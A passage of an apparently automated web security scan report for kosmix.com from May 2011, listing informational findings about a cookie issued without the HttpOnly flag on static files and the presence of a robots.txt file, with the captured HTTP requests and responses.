5.7. http://www.kosmix.com/images/homepage/tweetbeat_link.png previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.kosmix.com
Path:	/images/homepage/tweetbeat_link.png

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

NSC_uc.lptnjy.dpn=ffffffff090417b745525d5f4f58455e445a4a423990;expires=Sun, 15-May-2011 20:02:49 GMT;path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /images/homepage/tweetbeat_link.png HTTP/1.1
Host: www.kosmix.com
Proxy-Connection: keep-alive
Referer: http://www.kosmix.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: kid=f062f6f0-615b-012e-931e-003048fe4cb2; as=ref_absent; NSC_uc.lptnjy.dpn=ffffffff090417b745525d5f4f58455e445a4a423990; last_referrer=

Response

HTTP/1.1 200 OK
Date: Sun, 15 May 2011 20:00:49 GMT
Server: Apache/2.2.15 (Fedora)
Last-Modified: Tue, 03 May 2011 19:23:25 GMT
Accept-Ranges: bytes
Content-Length: 6709
Cache-Control: max-age=14400
Expires: Mon, 16 May 2011 00:00:49 GMT
Content-Type: image/png
Set-Cookie: NSC_uc.lptnjy.dpn=ffffffff090417b745525d5f4f58455e445a4a423990;expires=Sun, 15-May-2011 20:02:49 GMT;path=/

.PNG
.
...IHDR.......a.............tEXtSoftware.Adobe ImageReadyq.e<....iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="A
...[SNIP]...

5.8. http://www.kosmix.com/images/homepage/walmart_labs.png previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.kosmix.com
Path:	/images/homepage/walmart_labs.png

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

NSC_uc.lptnjy.dpn=ffffffff090417b745525d5f4f58455e445a4a423990;expires=Sun, 15-May-2011 20:02:49 GMT;path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /images/homepage/walmart_labs.png HTTP/1.1
Host: www.kosmix.com
Proxy-Connection: keep-alive
Referer: http://www.kosmix.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: kid=f062f6f0-615b-012e-931e-003048fe4cb2; as=ref_absent; NSC_uc.lptnjy.dpn=ffffffff090417b745525d5f4f58455e445a4a423990; last_referrer=

Response

HTTP/1.1 200 OK
Date: Sun, 15 May 2011 20:00:49 GMT
Server: Apache/2.2.15 (Fedora)
Last-Modified: Tue, 03 May 2011 19:23:26 GMT
Accept-Ranges: bytes
Content-Length: 13714
Cache-Control: max-age=14400
Expires: Mon, 16 May 2011 00:00:49 GMT
Content-Type: image/png
Set-Cookie: NSC_uc.lptnjy.dpn=ffffffff090417b745525d5f4f58455e445a4a423990;expires=Sun, 15-May-2011 20:02:49 GMT;path=/

.PNG
.
...IHDR..............M......tEXtSoftware.Adobe ImageReadyq.e<....iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="A
...[SNIP]...

5.9. http://www.kosmix.com/images/homepage_stars/stars.png previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.kosmix.com
Path:	/images/homepage_stars/stars.png

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

NSC_uc.lptnjy.dpn=ffffffff090417b745525d5f4f58455e445a4a423990;expires=Sun, 15-May-2011 20:02:48 GMT;path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /images/homepage_stars/stars.png HTTP/1.1
Host: www.kosmix.com
Proxy-Connection: keep-alive
Referer: http://www.kosmix.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: kid=f062f6f0-615b-012e-931e-003048fe4cb2; as=ref_absent; NSC_uc.lptnjy.dpn=ffffffff090417b745525d5f4f58455e445a4a423990; last_referrer=

Response

HTTP/1.1 200 OK
Date: Sun, 15 May 2011 20:00:48 GMT
Server: Apache/2.2.15 (Fedora)
Last-Modified: Thu, 14 Apr 2011 21:20:26 GMT
Accept-Ranges: bytes
Content-Length: 162300
Cache-Control: max-age=14400
Expires: Mon, 16 May 2011 00:00:48 GMT
Content-Type: image/png
Set-Cookie: NSC_uc.lptnjy.dpn=ffffffff090417b745525d5f4f58455e445a4a423990;expires=Sun, 15-May-2011 20:02:48 GMT;path=/

.PNG
.
...IHDR.......t.....D.Fn....tEXtSoftware.Adobe ImageReadyq.e<..y.IDATx..}Y.].U.9.r..r.U..Pn....!...CB.BB.HhH..B..EB. D....#.H......o..D
$.:$.Qg.tz......r.\U..m.....w.}.t.....r~NPs}..3.a.oM...
...[SNIP]...

5.10. http://www.kosmix.com/images/mpv.txt previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.kosmix.com
Path:	/images/mpv.txt

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

NSC_uc.lptnjy.dpn=ffffffff090417b745525d5f4f58455e445a4a423990;expires=Sun, 15-May-2011 20:02:50 GMT;path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /images/mpv.txt?pvid=454012985&s=f062f6f0-615b-012e-931e-003048fe4cb2&v=29&vt=any&pt=o&abt=82.YES*89.YES*25.YES*108.mashup*100.NO*92.NO*26.NO*15.NO*2.NO*60.NO*99.images_r2_msn*110.YES*97.NO*102.UP*78.YES*17.YES*35.NO*98.YES*75.NO*104.YES*106.YES*72.YES*86.YES*76.YES*58.YES*70.YES*71.YES*81.YES*96.YES*21.NO*88.YES*63.NO*109.NT*83.NO*16.YES*91.SNIP*74.NO*87.NO*84.YES*107.YES*68.YES*93.YES*77.NO*101.YES*62.BELOW*61.LEFT*67.YES*40.FIVE*103.NO*57.NO*66.YES*94.NO*80.NO*95.YES*53.YES*59.NO*85.FOUR*55.YES*20.NO&m=nfooter+x0+y896+w1120+h168+an+r1010200+c1+i31+rt10&e_pt=corp&e_at_st=May+15+13%3A00%3A43.273911&e_at_et=May+15+13%3A00%3A43.281166&e_madsense_headish=0&e_page_quality_score=0 HTTP/1.1
Host: www.kosmix.com
Proxy-Connection: keep-alive
Referer: http://www.kosmix.com/
X-Prototype-Version: 1.6.1
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: text/javascript, text/html, application/xml, text/xml, */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: kid=f062f6f0-615b-012e-931e-003048fe4cb2; as=ref_absent; last_referrer=; __utmz=33745467.1305489647.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=33745467.1661155596.1305489647.1305489647.1305489647.1; __utmc=33745467; __utmb=33745467.1.10.1305489647; NSC_uc.lptnjy.dpn=ffffffff090417b745525d5f4f58455e445a4a423990; __qca=P0-1290282890-1305489649089

Response

HTTP/1.1 200 OK
Date: Sun, 15 May 2011 20:00:50 GMT
Server: Apache/2.2.15 (Fedora)
Last-Modified: Thu, 14 Apr 2011 21:21:55 GMT
Accept-Ranges: bytes
Cache-Control: max-age=14400
Expires: Mon, 16 May 2011 00:00:50 GMT
Vary: Accept-Encoding
Content-Type: text/plain
Set-Cookie: NSC_uc.lptnjy.dpn=ffffffff090417b745525d5f4f58455e445a4a423990;expires=Sun, 15-May-2011 20:02:50 GMT;path=/
Content-Length: 0

5.11. http://www.kosmix.com/images/pv.txt previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.kosmix.com
Path:	/images/pv.txt

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

NSC_uc.lptnjy.dpn=ffffffff090417b745525d5f4f58455e445a4a423990;expires=Sun, 15-May-2011 20:02:47 GMT;path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /images/pv.txt?pvid=454012985&s=f062f6f0-615b-012e-931e-003048fe4cb2&sv=1220494746&q=&sr=organic&br=Chrome&os=Windows&ur=http%3A//www.kosmix.com/&rf=&sw=1920&sh=1200&vw=1136&vh=945&v=29&rs=May+15+13%3A00%3A43.165997&bid=152138&rid=GAMMA.REL.BLD.20110412 HTTP/1.1
Host: www.kosmix.com
Proxy-Connection: keep-alive
Referer: http://www.kosmix.com/
X-Prototype-Version: 1.6.1
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: text/javascript, text/html, application/xml, text/xml, */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: kid=f062f6f0-615b-012e-931e-003048fe4cb2; as=ref_absent; NSC_uc.lptnjy.dpn=ffffffff090417b745525d5f4f58455e445a4a423990; last_referrer=

Response

HTTP/1.1 200 OK
Date: Sun, 15 May 2011 20:00:47 GMT
Server: Apache/2.2.15 (Fedora)
Last-Modified: Thu, 14 Apr 2011 21:21:55 GMT
Accept-Ranges: bytes
Cache-Control: max-age=14400
Expires: Mon, 16 May 2011 00:00:47 GMT
Vary: Accept-Encoding
Content-Type: text/plain
Set-Cookie: NSC_uc.lptnjy.dpn=ffffffff090417b745525d5f4f58455e445a4a423990;expires=Sun, 15-May-2011 20:02:47 GMT;path=/
Content-Length: 0

5.12. http://www.kosmix.com/images/redesign/body_bg_trans.png previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.kosmix.com
Path:	/images/redesign/body_bg_trans.png

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

NSC_uc.lptnjy.dpn=ffffffff090417b745525d5f4f58455e445a4a423990;expires=Sun, 15-May-2011 20:02:47 GMT;path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /images/redesign/body_bg_trans.png HTTP/1.1
Host: www.kosmix.com
Proxy-Connection: keep-alive
Referer: http://www.kosmix.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: kid=f062f6f0-615b-012e-931e-003048fe4cb2; as=ref_absent; NSC_uc.lptnjy.dpn=ffffffff090417b745525d5f4f58455e445a4a423990; last_referrer=

Response

HTTP/1.1 200 OK
Date: Sun, 15 May 2011 20:00:47 GMT
Server: Apache/2.2.15 (Fedora)
Last-Modified: Thu, 14 Apr 2011 21:21:56 GMT
Accept-Ranges: bytes
Content-Length: 2830
Cache-Control: max-age=14400
Expires: Mon, 16 May 2011 00:00:47 GMT
Content-Type: image/png
Set-Cookie: NSC_uc.lptnjy.dpn=ffffffff090417b745525d5f4f58455e445a4a423990;expires=Sun, 15-May-2011 20:02:47 GMT;path=/

.PNG
.
...IHDR...............-.... pHYs...............
OiCCPPhotoshop ICC profile..x..SgTS..=...BK...KoR.. RB....&*! .J.!...Q..EE...........Q,..
...!.........{.k........>...........H3Q5...B.........
...[SNIP]...

5.13. http://www.kosmix.com/images/sprites/fark-sprite.png previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.kosmix.com
Path:	/images/sprites/fark-sprite.png

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

NSC_uc.lptnjy.dpn=ffffffff090417b745525d5f4f58455e445a4a423990;expires=Sun, 15-May-2011 20:02:53 GMT;path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /images/sprites/fark-sprite.png HTTP/1.1
Host: www.kosmix.com
Proxy-Connection: keep-alive
Referer: http://www.kosmix.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: kid=f062f6f0-615b-012e-931e-003048fe4cb2; as=ref_absent; last_referrer=; __utmz=33745467.1305489647.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=33745467.1661155596.1305489647.1305489647.1305489647.1; __utmc=33745467; __utmb=33745467.1.10.1305489647; __qca=P0-1290282890-1305489649089; NSC_uc.lptnjy.dpn=ffffffff090417b745525d5f4f58455e445a4a423990

Response

HTTP/1.1 200 OK
Date: Sun, 15 May 2011 20:00:53 GMT
Server: Apache/2.2.15 (Fedora)
Last-Modified: Thu, 14 Apr 2011 21:21:59 GMT
Accept-Ranges: bytes
Content-Length: 10780
Cache-Control: max-age=14400
Expires: Mon, 16 May 2011 00:00:53 GMT
Content-Type: image/png
Set-Cookie: NSC_uc.lptnjy.dpn=ffffffff090417b745525d5f4f58455e445a4a423990;expires=Sun, 15-May-2011 20:02:53 GMT;path=/

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T ...@.-...................m@..n....8.
...[SNIP]...

5.14. http://www.kosmix.com/images/sprites/favicon-sprite.png previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.kosmix.com
Path:	/images/sprites/favicon-sprite.png

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

NSC_uc.lptnjy.dpn=ffffffff090417b745525d5f4f58455e445a4a423990;expires=Sun, 15-May-2011 20:02:53 GMT;path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /images/sprites/favicon-sprite.png HTTP/1.1
Host: www.kosmix.com
Proxy-Connection: keep-alive
Referer: http://www.kosmix.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: kid=f062f6f0-615b-012e-931e-003048fe4cb2; as=ref_absent; last_referrer=; __utmz=33745467.1305489647.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=33745467.1661155596.1305489647.1305489647.1305489647.1; __utmc=33745467; __utmb=33745467.1.10.1305489647; __qca=P0-1290282890-1305489649089; NSC_uc.lptnjy.dpn=ffffffff090417b745525d5f4f58455e445a4a423990

Response

HTTP/1.1 200 OK
Date: Sun, 15 May 2011 20:00:53 GMT
Server: Apache/2.2.15 (Fedora)
Last-Modified: Thu, 14 Apr 2011 21:21:59 GMT
Accept-Ranges: bytes
Content-Length: 37299
Cache-Control: max-age=14400
Expires: Mon, 16 May 2011 00:00:53 GMT
Content-Type: image/png
Set-Cookie: NSC_uc.lptnjy.dpn=ffffffff090417b745525d5f4f58455e445a4a423990;expires=Sun, 15-May-2011 20:02:53 GMT;path=/

.PNG
.
...IHDR..............cb.... pHYs...............
OiCCPPhotoshop ICC profile..x..SgTS..=...BK...KoR.. RB....&*! .J.!...Q..EE...........Q,..
...!.........{.k........>...........H3Q5...B.........
...[SNIP]...

5.15. http://www.kosmix.com/javascripts/cache/options_bottom-kosmix-sem-chimborazo-152138.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.kosmix.com
Path:	/javascripts/cache/options_bottom-kosmix-sem-chimborazo-152138.js

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

NSC_uc.lptnjy.dpn=ffffffff090417b745525d5f4f58455e445a4a423990;expires=Sun, 15-May-2011 20:02:48 GMT;path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /javascripts/cache/options_bottom-kosmix-sem-chimborazo-152138.js?1302902896 HTTP/1.1
Host: www.kosmix.com
Proxy-Connection: keep-alive
Referer: http://www.kosmix.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: kid=f062f6f0-615b-012e-931e-003048fe4cb2; as=ref_absent; NSC_uc.lptnjy.dpn=ffffffff090417b745525d5f4f58455e445a4a423990; last_referrer=

Response

HTTP/1.1 200 OK
Date: Sun, 15 May 2011 20:00:48 GMT
Server: Apache/2.2.15 (Fedora)
Last-Modified: Fri, 15 Apr 2011 21:28:16 GMT
Accept-Ranges: bytes
Cache-Control: max-age=14400
Expires: Mon, 16 May 2011 00:00:48 GMT
Vary: Accept-Encoding
Content-Type: text/javascript
Set-Cookie: NSC_uc.lptnjy.dpn=ffffffff090417b745525d5f4f58455e445a4a423990;expires=Sun, 15-May-2011 20:02:48 GMT;path=/
Content-Length: 6396

kapp.namespace('suggest');kapp.suggest.AutoSuggest=function(id,param){if(!document.getElementById)return 0;this.fld=$(id);if(!this.fld)return 0;this.sInp="";this.nInpC=0;this.aSug=[];this.iHigh=0;var
...[SNIP]...

5.16. http://www.kosmix.com/javascripts/cache/topic_bottom-kosmix-sem-chimborazo-152138.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.kosmix.com
Path:	/javascripts/cache/topic_bottom-kosmix-sem-chimborazo-152138.js

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

NSC_uc.lptnjy.dpn=ffffffff090417b745525d5f4f58455e445a4a423990;expires=Sun, 15-May-2011 20:02:48 GMT;path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

5.17. http://www.kosmix.com/javascripts/cache/topic_bottom_homepage-kosmix-sem-chimborazo-152138.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.kosmix.com
Path:	/javascripts/cache/topic_bottom_homepage-kosmix-sem-chimborazo-152138.js

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

NSC_uc.lptnjy.dpn=ffffffff090417b745525d5f4f58455e445a4a423990;expires=Sun, 15-May-2011 20:02:48 GMT;path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /javascripts/cache/topic_bottom_homepage-kosmix-sem-chimborazo-152138.js?1302902897 HTTP/1.1
Host: www.kosmix.com
Proxy-Connection: keep-alive
Referer: http://www.kosmix.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: kid=f062f6f0-615b-012e-931e-003048fe4cb2; as=ref_absent; NSC_uc.lptnjy.dpn=ffffffff090417b745525d5f4f58455e445a4a423990; last_referrer=

Response

HTTP/1.1 200 OK
Date: Sun, 15 May 2011 20:00:48 GMT
Server: Apache/2.2.15 (Fedora)
Last-Modified: Fri, 15 Apr 2011 21:28:17 GMT
Accept-Ranges: bytes
Cache-Control: max-age=14400
Expires: Mon, 16 May 2011 00:00:48 GMT
Vary: Accept-Encoding
Content-Type: text/javascript
Set-Cookie: NSC_uc.lptnjy.dpn=ffffffff090417b745525d5f4f58455e445a4a423990;expires=Sun, 15-May-2011 20:02:48 GMT;path=/
Content-Length: 4123

kapp.namespace('k_search');kapp.k_search.chocoChip=function(c){var oreo={};$A(document.cookie.split(";").each(function(s){var newSplit=s.split("=");oreo[newSplit[0].strip()]=newSplit[1].strip()}));ret
...[SNIP]...

5.18. http://www.kosmix.com/javascripts/cache/topic_top-s_kosmix-chimborazo-152138.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.kosmix.com
Path:	/javascripts/cache/topic_top-s_kosmix-chimborazo-152138.js

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

NSC_uc.lptnjy.dpn=ffffffff090417b745525d5f4f58455e445a4a423990;expires=Sun, 15-May-2011 20:02:45 GMT;path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /javascripts/cache/topic_top-s_kosmix-chimborazo-152138.js?1302902895 HTTP/1.1
Host: www.kosmix.com
Proxy-Connection: keep-alive
Referer: http://www.kosmix.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: kid=f062f6f0-615b-012e-931e-003048fe4cb2; as=ref_absent; NSC_uc.lptnjy.dpn=ffffffff090417b745525d5f4f58455e445a4a423990

Response

HTTP/1.1 200 OK
Date: Sun, 15 May 2011 20:00:45 GMT
Server: Apache/2.2.15 (Fedora)
Last-Modified: Fri, 15 Apr 2011 21:28:15 GMT
Accept-Ranges: bytes
Cache-Control: max-age=14400
Expires: Mon, 16 May 2011 00:00:45 GMT
Vary: Accept-Encoding
Content-Type: text/javascript
Set-Cookie: NSC_uc.lptnjy.dpn=ffffffff090417b745525d5f4f58455e445a4a423990;expires=Sun, 15-May-2011 20:02:45 GMT;path=/
Content-Length: 207289

var Prototype={Version:"1.6.1",Browser:(function(){var ua=navigator.userAgent;var isOpera=Object.prototype.toString.call(window.opera)=="[object Opera]";return{IE:!!window.attachEvent&&!isOpera,Opera:
...[SNIP]...

5.19. http://www.kosmix.com/kosmixSearch.xml previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.kosmix.com
Path:	/kosmixSearch.xml

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

NSC_uc.lptnjy.dpn=ffffffff090417b745525d5f4f58455e445a4a423990;expires=Sun, 15-May-2011 20:02:56 GMT;path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /kosmixSearch.xml HTTP/1.1
Host: www.kosmix.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: kid=f062f6f0-615b-012e-931e-003048fe4cb2; as=ref_absent; last_referrer=; __utmz=33745467.1305489647.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=33745467.1661155596.1305489647.1305489647.1305489647.1; __utmc=33745467; __utmb=33745467.1.10.1305489647; __qca=P0-1290282890-1305489649089; NSC_uc.lptnjy.dpn=ffffffff090417b745525d5f4f58455e445a4a423990

Response

HTTP/1.1 200 OK
Date: Sun, 15 May 2011 20:00:56 GMT
Server: Apache/2.2.15 (Fedora)
Last-Modified: Thu, 14 Apr 2011 21:22:08 GMT
Accept-Ranges: bytes
Cache-Control: max-age=14400
Expires: Mon, 16 May 2011 00:00:56 GMT
Vary: Accept-Encoding
Content-Type: text/xml
Set-Cookie: NSC_uc.lptnjy.dpn=ffffffff090417b745525d5f4f58455e445a4a423990;expires=Sun, 15-May-2011 20:02:56 GMT;path=/
Content-Length: 4172

<?xml version="1.0" encoding="UTF-8"?>
<OpenSearchDescription xmlns="http://a9.com/-/spec/opensearch/1.1/" xmlns:moz="http://www.mozilla.org/2006/browser/search/">
<ShortName>Kosmix.com</ShortName>
<D
...[SNIP]...

5.20. http://www.kosmix.com/stylesheets/cache/topic-s_kosmix-chimborazo-152138.css previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.kosmix.com
Path:	/stylesheets/cache/topic-s_kosmix-chimborazo-152138.css

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

NSC_uc.lptnjy.dpn=ffffffff090417b745525d5f4f58455e445a4a423990;expires=Sun, 15-May-2011 20:02:45 GMT;path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /stylesheets/cache/topic-s_kosmix-chimborazo-152138.css?1305488471 HTTP/1.1
Host: www.kosmix.com
Proxy-Connection: keep-alive
Referer: http://www.kosmix.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: kid=f062f6f0-615b-012e-931e-003048fe4cb2; as=ref_absent; NSC_uc.lptnjy.dpn=ffffffff090417b745525d5f4f58455e445a4a423990

Response

HTTP/1.1 200 OK
Date: Sun, 15 May 2011 20:00:45 GMT
Server: Apache/2.2.15 (Fedora)
Last-Modified: Sun, 15 May 2011 20:00:39 GMT
Accept-Ranges: bytes
Cache-Control: max-age=14400
Expires: Mon, 16 May 2011 00:00:45 GMT
Vary: Accept-Encoding
Content-Type: text/css
Set-Cookie: NSC_uc.lptnjy.dpn=ffffffff090417b745525d5f4f58455e445a4a423990;expires=Sun, 15-May-2011 20:02:45 GMT;path=/
Content-Length: 249889

/* --------- /c-stylesheets/common.css --------- */
@charset "utf-8";
/*
Copyright (c) 2008, Yahoo! Inc. All rights reserved.
Code licensed under the BSD License:
http://developer.yahoo.net/yui/licen
...[SNIP]...

5.21. http://www.kosmix.com/stylesheets/cache/topic_page_redesign-s_kosmix-chimborazo-152138.css previous

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.kosmix.com
Path:	/stylesheets/cache/topic_page_redesign-s_kosmix-chimborazo-152138.css

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

NSC_uc.lptnjy.dpn=ffffffff090417b745525d5f4f58455e445a4a423990;expires=Sun, 15-May-2011 20:02:45 GMT;path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /stylesheets/cache/topic_page_redesign-s_kosmix-chimborazo-152138.css?1304450611 HTTP/1.1
Host: www.kosmix.com
Proxy-Connection: keep-alive
Referer: http://www.kosmix.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: kid=f062f6f0-615b-012e-931e-003048fe4cb2; as=ref_absent; NSC_uc.lptnjy.dpn=ffffffff090417b745525d5f4f58455e445a4a423990

Response

HTTP/1.1 200 OK
Date: Sun, 15 May 2011 20:00:45 GMT
Server: Apache/2.2.15 (Fedora)
Last-Modified: Tue, 03 May 2011 19:23:31 GMT
Accept-Ranges: bytes
Cache-Control: max-age=14400
Expires: Mon, 16 May 2011 00:00:45 GMT
Vary: Accept-Encoding
Content-Type: text/css
Set-Cookie: NSC_uc.lptnjy.dpn=ffffffff090417b745525d5f4f58455e445a4a423990;expires=Sun, 15-May-2011 20:02:45 GMT;path=/
Content-Length: 13494

/* --------- /c-stylesheets/topic_page_redesign.css --------- */
/* New topic page design */
/* RH will not get this file as it's a big departure from current design patterns and might adversely affe
...[SNIP]...

6. Robots.txt file previous

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.kosmix.com
Path:	/

Issue detail

The web server contains a robots.txt file.

Issue background

The file robots.txt is used to give instructions to web robots, such as search engine crawlers, about locations within the web site which robots are allowed, or not allowed, to crawl and index.

The presence of the robots.txt does not in itself present any kind of security vulnerability. However, it is often used to identify restricted or private areas of a site's contents. The information in the file may therefore help an attacker to map out the site's contents, especially if some of the locations identified are not linked from elsewhere in the site. If the application relies on robots.txt to protect access to these areas, and does not enforce proper access control over them, then this presents a serious vulnerability.

Issue remediation

The robots.txt file is not itself a security threat, and its correct use can represent good practice for non-security reasons. You should not assume that all web robots will honour the file's instructions. Rather, assume that attackers will pay close attention to any locations identified in the file. Do not rely on robots.txt to provide any kind of protection over unauthorised access.

Request

GET /robots.txt HTTP/1.0
Host: www.kosmix.com

Response

HTTP/1.1 200 OK
Date: Sun, 15 May 2011 20:00:44 GMT
Server: Apache/2.2.15 (Fedora)
